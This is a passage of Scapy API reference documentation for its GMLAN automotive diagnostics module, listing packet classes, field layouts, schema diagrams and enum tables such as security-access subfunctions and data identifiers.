Subnet_Config_List_GMLANPowertrainExpansionBus (SCLGPEB)', 233: '$E9: Subnet_Config_List_GMLANFrontObjectExpansionBus (SCLGFOEB)', 234: '$EA: Subnet_Config_List_GMLANRearObjectExpansionBus (SCLGROEB)', 235: '$EB: Subnet_Config_List_GMLANExpansionBus1 (SCLGEB1)', 236: '$EC: Subnet_Config_List_GMLANExpansionBus2 (SCLGEB2)', 237: '$ED: Subnet_Config_List_GMLANExpansionBus3 (SCLGEB3)', 238: '$EE: Subnet_Config_List_GMLANExpansionBus4 (SCLGEB4)', 239: '$EF: Subnet_Config_List_GMLANExpansionBus5 (SCLGEB5)'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DATAIDENTIFIER|
+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_RDBI                          


GMLAN_RDBI fields






	dataIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDBIPR(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L314-L322]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L320-L322]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DATAIDENTIFIER|
+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_RDBIPR                         


GMLAN_RDBIPR fields






	dataIdentifier

	XByteEnumField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDBPI(_pkt, /, *, identifiers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L329-L340]

	Bases: Packet


	
aliastypes

	




	
dataIdentifiers = {5: 'OBD_EngineCoolantTemperature', 12: 'OBD_EngineRPM', 31: 'OBD_TimeSinceEngineStart'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          IDENTIFIERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_RDBPI                         


GMLAN_RDBPI fields






	identifiers

	FieldListField

	[]















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDBPIPR(_pkt, /, *, parameterIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L346-L354]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L352-L354]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PARAMETERIDENTIFIER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_RDBPIPR                        


GMLAN_RDBPIPR fields






	parameterIdentifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDBPKTI(_pkt, /, *, subfunction=0, request_DPIDs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L361-L376]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |         REQUEST DPIDS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_RDBPKTI                        


GMLAN_RDBPKTI fields






	subfunction

	XByteEnumField

	0



	request_DPIDs

	FieldListField (Cond)

	[]











	
subfunctions = {0: 'stopSending', 1: 'sendOneResponse', 2: 'scheduleAtSlowRate', 3: 'scheduleAtMediumRate', 4: 'scheduleAtFastRate'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDI(_pkt, /, *, subfunction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L646-L655]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |
+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_RDI                          


GMLAN_RDI fields






	subfunction

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
GMLAN_RDI_BC, GMLAN_RDI_BM, GMLAN_RDI_BN






	
subfunctions = {128: 'readStatusOfDTCByDTCNumber', 129: 'readStatusOfDTCByStatusMask', 130: 'sendOnChangeDTCCount'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDI_BC(_pkt, /, *, DTCStatusMask=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L683-L687]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DTCSTATUSMASK |
+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_RDI_BC                         


GMLAN_RDI_BC fields






	DTCStatusMask

	XByteField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDI_BM(_pkt, /, *, DTCStatusMask=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L673-L677]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DTCSTATUSMASK |
+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_RDI_BM                         


GMLAN_RDI_BM fields






	DTCStatusMask

	XByteField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RDI_BN(_pkt, /, *, DTCHighByte=0, DTCLowByte=0, DTCFailureType=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L661-L667]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  DTCHIGHBYTE  |   DTCLOWBYTE  | DTCFAILURETYPE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_RDI_BN                         


GMLAN_RDI_BN fields






	DTCHighByte

	XByteField

	0



	DTCLowByte

	XByteField

	0



	DTCFailureType

	XByteField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RFRD(_pkt, /, *, subfunction=0, dtc=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L163-L172]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |              DTC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_RFRD                          


GMLAN_RFRD fields






	subfunction

	ByteEnumField

	0



	dtc

	PacketField (Cond)

	b''











	
subfunctions = {1: 'readFailureRecordIdentifiers', 2: 'readFailureRecordParameters'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RFRDPR(_pkt, /, *, subfunction=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L178-L186]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L184-L186]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |
+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_RFRDPR                         


GMLAN_RFRDPR fields






	subfunction

	ByteEnumField

	0











	
payload_guess

	Possible sublayers:
GMLAN_RFRDPR_RFRI, GMLAN_RFRDPR_RFRP










	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RFRDPR_RFRI(_pkt, /, *, failureRecordDataStructureIdentifier=0, dtcs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L192-L202]

	Bases: Packet


	
aliastypes

	




	
failureRecordDataStructureIdentifiers = {0: 'PID', 1: 'DPID'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FAILURERECORDDA|              DTCS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GMLAN_RFRDPR_RFRI                      


GMLAN_RFRDPR_RFRI fields






	failureRecordDataStructureIdentifier

	ByteEnumField

	0



	dtcs

	PacketListField

	[]















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RFRDPR_RFRP(_pkt, /, *, dtc=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L208-L212]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DTC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. GMLAN_RFRDPR_RFRP                      


GMLAN_RFRDPR_RFRP fields






	dtc

	PacketField

	b''















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RMBA(_pkt, /, *, memoryAddress=None, memorySize=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L383-L397]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           MEMORYSIZE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_RMBA                          


GMLAN_RMBA fields






	memoryAddress

	MultipleTypeField (XShortField, X3BytesField, XIntField, XIntField)

	0



	memorySize

	XShortField

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RMBAPR(_pkt, /, *, memoryAddress=None, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L403-L421]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L419-L421]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DATARECORD  |
+-+-+-+-+-+-+-+-+

                        Fig. GMLAN_RMBAPR                         


GMLAN_RMBAPR fields






	memoryAddress

	MultipleTypeField (XShortField, X3BytesField, XIntField, XIntField)

	0



	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_RPSPR(_pkt, /, *, programmedState=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L607-L623]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PROGRAMMEDSTATE|
+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_RPSPR                         


GMLAN_RPSPR fields






	programmedState

	ByteEnumField

	0











	
programmedStates = {0: 'fully programmed', 1: 'no op s/w or cal data', 2: 'op s/w present, cal data missing', 3: 's/w present, default or no start cal present', 80: 'General Memory Fault', 81: 'RAM Memory Fault', 82: 'NVRAM Memory Fault', 83: 'Boot Memory Failure', 84: 'Flash Memory Failure', 85: 'EEPROM Memory Failure'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_SA(_pkt, /, *, subfunction=0, securityKey=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L428-L449]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |          SECURITYKEY          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. GMLAN_SA                           


GMLAN_SA fields






	subfunction

	ByteEnumField

	0



	securityKey

	XShortField (Cond)

	0











	
i = 254

	




	
subfunctions = {0: 'ReservedByDocument', 1: 'SPSrequestSeed', 2: 'SPSsendKey', 3: 'DevCtrlrequestSeed', 4: 'DevCtrlsendKey', 5: 'ReservedByDocument', 6: 'ReservedByDocument', 7: 'ReservedByDocument', 8: 'ReservedByDocument', 9: 'ReservedByDocument', 10: 'ReservedByDocument', 11: 'Reserved for vehicle manufacturer specific needs', 12: 'Reserved for vehicle manufacturer specific needs', 13: 'Reserved for vehicle manufacturer specific needs', 14: 'Reserved for vehicle manufacturer specific needs', 15: 'Reserved for vehicle manufacturer specific needs', 16: 'Reserved for vehicle manufacturer specific needs', 17: 'Reserved for vehicle manufacturer specific needs', 18: 'Reserved for vehicle manufacturer specific needs', 19: 'Reserved for vehicle manufacturer specific needs', 20: 'Reserved for vehicle manufacturer specific needs', 21: 'Reserved for vehicle manufacturer specific needs', 22: 'Reserved for vehicle manufacturer specific needs', 23: 'Reserved for vehicle manufacturer specific needs', 24: 'Reserved for vehicle manufacturer specific needs', 25: 'Reserved for vehicle manufacturer specific needs', 26: 'Reserved for vehicle manufacturer specific needs', 27: 'Reserved for vehicle manufacturer specific needs', 28: 'Reserved for vehicle manufacturer specific needs', 29: 'Reserved for vehicle manufacturer specific needs', 30: 'Reserved for vehicle manufacturer specific needs', 31: 'Reserved for vehicle manufacturer specific needs', 32: 'Reserved for vehicle manufacturer specific needs', 33: 'Reserved for vehicle manufacturer specific needs', 34: 'Reserved for vehicle manufacturer specific needs', 35: 'Reserved for vehicle manufacturer specific needs', 36: 'Reserved for vehicle manufacturer specific needs', 37: 'Reserved for vehicle manufacturer specific needs', 38: 'Reserved for vehicle manufacturer specific needs', 39: 'Reserved for vehicle manufacturer specific needs', 40: 'Reserved for vehicle manufacturer specific needs', 41: 'Reserved for vehicle manufacturer specific needs', 42: 'Reserved for vehicle manufacturer specific needs', 43: 'Reserved for vehicle manufacturer specific needs', 44: 'Reserved for vehicle manufacturer specific needs', 45: 'Reserved for vehicle manufacturer specific needs', 46: 'Reserved for vehicle manufacturer specific needs', 47: 'Reserved for vehicle manufacturer specific needs', 48: 'Reserved for vehicle manufacturer specific needs', 49: 'Reserved for vehicle manufacturer specific needs', 50: 'Reserved for vehicle manufacturer specific needs', 51: 'Reserved for vehicle manufacturer specific needs', 52: 'Reserved for vehicle manufacturer specific needs', 53: 'Reserved for vehicle manufacturer specific needs', 54: 'Reserved for vehicle manufacturer specific needs', 55: 'Reserved for vehicle manufacturer specific needs', 56: 'Reserved for vehicle manufacturer specific needs', 57: 'Reserved for vehicle manufacturer specific needs', 58: 'Reserved for vehicle manufacturer specific needs', 59: 'Reserved for vehicle manufacturer specific needs', 60: 'Reserved for vehicle manufacturer specific needs', 61: 'Reserved for vehicle manufacturer specific needs', 62: 'Reserved for vehicle manufacturer specific needs', 63: 'Reserved for vehicle manufacturer specific needs', 64: 'Reserved for vehicle manufacturer specific needs', 65: 'Reserved for vehicle manufacturer specific needs', 66: 'Reserved for vehicle manufacturer specific needs', 67: 'Reserved for vehicle manufacturer specific needs', 68: 'Reserved for vehicle manufacturer specific needs', 69: 'Reserved for vehicle manufacturer specific needs', 70: 'Reserved for vehicle manufacturer specific needs', 71: 'Reserved for vehicle manufacturer specific needs', 72: 'Reserved for vehicle manufacturer specific needs', 73: 'Reserved for vehicle manufacturer specific needs', 74: 'Reserved for vehicle manufacturer specific needs', 75: 'Reserved for vehicle manufacturer specific needs', 76: 'Reserved for vehicle manufacturer specific needs', 77: 'Reserved for vehicle manufacturer specific needs', 78: 'Reserved for vehicle manufacturer specific needs', 79: 'Reserved for vehicle manufacturer specific needs', 80: 'Reserved for vehicle manufacturer specific needs', 81: 'Reserved for vehicle manufacturer specific needs', 82: 'Reserved for vehicle manufacturer specific needs', 83: 'Reserved for vehicle manufacturer specific needs', 84: 'Reserved for vehicle manufacturer specific needs', 85: 'Reserved for vehicle manufacturer specific needs', 86: 'Reserved for vehicle manufacturer specific needs', 87: 'Reserved for vehicle manufacturer specific needs', 88: 'Reserved for vehicle manufacturer specific needs', 89: 'Reserved for vehicle manufacturer specific needs', 90: 'Reserved for vehicle manufacturer specific needs', 91: 'Reserved for vehicle manufacturer specific needs', 92: 'Reserved for vehicle manufacturer specific needs', 93: 'Reserved for vehicle manufacturer specific needs', 94: 'Reserved for vehicle manufacturer specific needs', 95: 'Reserved for vehicle manufacturer specific needs', 96: 'Reserved for vehicle manufacturer specific needs', 97: 'Reserved for vehicle manufacturer specific needs', 98: 'Reserved for vehicle manufacturer specific needs', 99: 'Reserved for vehicle manufacturer specific needs', 100: 'Reserved for vehicle manufacturer specific needs', 101: 'Reserved for vehicle manufacturer specific needs', 102: 'Reserved for vehicle manufacturer specific needs', 103: 'Reserved for vehicle manufacturer specific needs', 104: 'Reserved for vehicle manufacturer specific needs', 105: 'Reserved for vehicle manufacturer specific needs', 106: 'Reserved for vehicle manufacturer specific needs', 107: 'Reserved for vehicle manufacturer specific needs', 108: 'Reserved for vehicle manufacturer specific needs', 109: 'Reserved for vehicle manufacturer specific needs', 110: 'Reserved for vehicle manufacturer specific needs', 111: 'Reserved for vehicle manufacturer specific needs', 112: 'Reserved for vehicle manufacturer specific needs', 113: 'Reserved for vehicle manufacturer specific needs', 114: 'Reserved for vehicle manufacturer specific needs', 115: 'Reserved for vehicle manufacturer specific needs', 116: 'Reserved for vehicle manufacturer specific needs', 117: 'Reserved for vehicle manufacturer specific needs', 118: 'Reserved for vehicle manufacturer specific needs', 119: 'Reserved for vehicle manufacturer specific needs', 120: 'Reserved for vehicle manufacturer specific needs', 121: 'Reserved for vehicle manufacturer specific needs', 122: 'Reserved for vehicle manufacturer specific needs', 123: 'Reserved for vehicle manufacturer specific needs', 124: 'Reserved for vehicle manufacturer specific needs', 125: 'Reserved for vehicle manufacturer specific needs', 126: 'Reserved for vehicle manufacturer specific needs', 127: 'Reserved for vehicle manufacturer specific needs', 128: 'Reserved for vehicle manufacturer specific needs', 129: 'Reserved for vehicle manufacturer specific needs', 130: 'Reserved for vehicle manufacturer specific needs', 131: 'Reserved for vehicle manufacturer specific needs', 132: 'Reserved for vehicle manufacturer specific needs', 133: 'Reserved for vehicle manufacturer specific needs', 134: 'Reserved for vehicle manufacturer specific needs', 135: 'Reserved for vehicle manufacturer specific needs', 136: 'Reserved for vehicle manufacturer specific needs', 137: 'Reserved for vehicle manufacturer specific needs', 138: 'Reserved for vehicle manufacturer specific needs', 139: 'Reserved for vehicle manufacturer specific needs', 140: 'Reserved for vehicle manufacturer specific needs', 141: 'Reserved for vehicle manufacturer specific needs', 142: 'Reserved for vehicle manufacturer specific needs', 143: 'Reserved for vehicle manufacturer specific needs', 144: 'Reserved for vehicle manufacturer specific needs', 145: 'Reserved for vehicle manufacturer specific needs', 146: 'Reserved for vehicle manufacturer specific needs', 147: 'Reserved for vehicle manufacturer specific needs', 148: 'Reserved for vehicle manufacturer specific needs', 149: 'Reserved for vehicle manufacturer specific needs', 150: 'Reserved for vehicle manufacturer specific needs', 151: 'Reserved for vehicle manufacturer specific needs', 152: 'Reserved for vehicle manufacturer specific needs', 153: 'Reserved for vehicle manufacturer specific needs', 154: 'Reserved for vehicle manufacturer specific needs', 155: 'Reserved for vehicle manufacturer specific needs', 156: 'Reserved for vehicle manufacturer specific needs', 157: 'Reserved for vehicle manufacturer specific needs', 158: 'Reserved for vehicle manufacturer specific needs', 159: 'Reserved for vehicle manufacturer specific needs', 160: 'Reserved for vehicle manufacturer specific needs', 161: 'Reserved for vehicle manufacturer specific needs', 162: 'Reserved for vehicle manufacturer specific needs', 163: 'Reserved for vehicle manufacturer specific needs', 164: 'Reserved for vehicle manufacturer specific needs', 165: 'Reserved for vehicle manufacturer specific needs', 166: 'Reserved for vehicle manufacturer specific needs', 167: 'Reserved for vehicle manufacturer specific needs', 168: 'Reserved for vehicle manufacturer specific needs', 169: 'Reserved for vehicle manufacturer specific needs', 170: 'Reserved for vehicle manufacturer specific needs', 171: 'Reserved for vehicle manufacturer specific needs', 172: 'Reserved for vehicle manufacturer specific needs', 173: 'Reserved for vehicle manufacturer specific needs', 174: 'Reserved for vehicle manufacturer specific needs', 175: 'Reserved for vehicle manufacturer specific needs', 176: 'Reserved for vehicle manufacturer specific needs', 177: 'Reserved for vehicle manufacturer specific needs', 178: 'Reserved for vehicle manufacturer specific needs', 179: 'Reserved for vehicle manufacturer specific needs', 180: 'Reserved for vehicle manufacturer specific needs', 181: 'Reserved for vehicle manufacturer specific needs', 182: 'Reserved for vehicle manufacturer specific needs', 183: 'Reserved for vehicle manufacturer specific needs', 184: 'Reserved for vehicle manufacturer specific needs', 185: 'Reserved for vehicle manufacturer specific needs', 186: 'Reserved for vehicle manufacturer specific needs', 187: 'Reserved for vehicle manufacturer specific needs', 188: 'Reserved for vehicle manufacturer specific needs', 189: 'Reserved for vehicle manufacturer specific needs', 190: 'Reserved for vehicle manufacturer specific needs', 191: 'Reserved for vehicle manufacturer specific needs', 192: 'Reserved for vehicle manufacturer specific needs', 193: 'Reserved for vehicle manufacturer specific needs', 194: 'Reserved for vehicle manufacturer specific needs', 195: 'Reserved for vehicle manufacturer specific needs', 196: 'Reserved for vehicle manufacturer specific needs', 197: 'Reserved for vehicle manufacturer specific needs', 198: 'Reserved for vehicle manufacturer specific needs', 199: 'Reserved for vehicle manufacturer specific needs', 200: 'Reserved for vehicle manufacturer specific needs', 201: 'Reserved for vehicle manufacturer specific needs', 202: 'Reserved for vehicle manufacturer specific needs', 203: 'Reserved for vehicle manufacturer specific needs', 204: 'Reserved for vehicle manufacturer specific needs', 205: 'Reserved for vehicle manufacturer specific needs', 206: 'Reserved for vehicle manufacturer specific needs', 207: 'Reserved for vehicle manufacturer specific needs', 208: 'Reserved for vehicle manufacturer specific needs', 209: 'Reserved for vehicle manufacturer specific needs', 210: 'Reserved for vehicle manufacturer specific needs', 211: 'Reserved for vehicle manufacturer specific needs', 212: 'Reserved for vehicle manufacturer specific needs', 213: 'Reserved for vehicle manufacturer specific needs', 214: 'Reserved for vehicle manufacturer specific needs', 215: 'Reserved for vehicle manufacturer specific needs', 216: 'Reserved for vehicle manufacturer specific needs', 217: 'Reserved for vehicle manufacturer specific needs', 218: 'Reserved for vehicle manufacturer specific needs', 219: 'Reserved for vehicle manufacturer specific needs', 220: 'Reserved for vehicle manufacturer specific needs', 221: 'Reserved for vehicle manufacturer specific needs', 222: 'Reserved for vehicle manufacturer specific needs', 223: 'Reserved for vehicle manufacturer specific needs', 224: 'Reserved for vehicle manufacturer specific needs', 225: 'Reserved for vehicle manufacturer specific needs', 226: 'Reserved for vehicle manufacturer specific needs', 227: 'Reserved for vehicle manufacturer specific needs', 228: 'Reserved for vehicle manufacturer specific needs', 229: 'Reserved for vehicle manufacturer specific needs', 230: 'Reserved for vehicle manufacturer specific needs', 231: 'Reserved for vehicle manufacturer specific needs', 232: 'Reserved for vehicle manufacturer specific needs', 233: 'Reserved for vehicle manufacturer specific needs', 234: 'Reserved for vehicle manufacturer specific needs', 235: 'Reserved for vehicle manufacturer specific needs', 236: 'Reserved for vehicle manufacturer specific needs', 237: 'Reserved for vehicle manufacturer specific needs', 238: 'Reserved for vehicle manufacturer specific needs', 239: 'Reserved for vehicle manufacturer specific needs', 240: 'Reserved for vehicle manufacturer specific needs', 241: 'Reserved for vehicle manufacturer specific needs', 242: 'Reserved for vehicle manufacturer specific needs', 243: 'Reserved for vehicle manufacturer specific needs', 244: 'Reserved for vehicle manufacturer specific needs', 245: 'Reserved for vehicle manufacturer specific needs', 246: 'Reserved for vehicle manufacturer specific needs', 247: 'Reserved for vehicle manufacturer specific needs', 248: 'Reserved for vehicle manufacturer specific needs', 249: 'Reserved for vehicle manufacturer specific needs', 250: 'Reserved for vehicle manufacturer specific needs', 251: 'Reserved for ECU or system supplier manufacturing needs', 252: 'Reserved for ECU or system supplier manufacturing needs', 253: 'Reserved for ECU or system supplier manufacturing needs', 254: 'Reserved for ECU or system supplier manufacturing needs', 255: 'ReservedByDocument'}

	








	
class scapy.contrib.automotive.gm.gmlan.GMLAN_SAPR(_pkt, /, *, subfunction=0, securitySeed=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L455-L465]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L463-L465]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |          SECURITYSEED         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. GMLAN_SAPR                          


GMLAN_SAPR fields






	subfunction

	ByteEnumField

	0



	securitySeed

	XShortField (Cond)

	0















	
class scapy.contrib.automotive.gm.gmlan.GMLAN_TD(_pkt, /, *, subfunction=0, startingAddress=None, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/gm/gmlan.py#L555-L574]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBFUNCTION  |                STARTINGADDRESS                |
